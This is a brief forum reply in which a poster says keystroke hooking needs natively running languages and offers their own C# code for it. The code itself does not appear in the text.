You pretty much nailed the only languages that run on the machine and thus have an ability to hook key strokes. That's functionality you wont get in say, a java virtual machine. Hooking is the only real way to get it done. Heres what i wrote in c# its easy and efficient, feel free to use or modify it.
Code
If you want something in C# that i made, take a look at this. Just compile it.
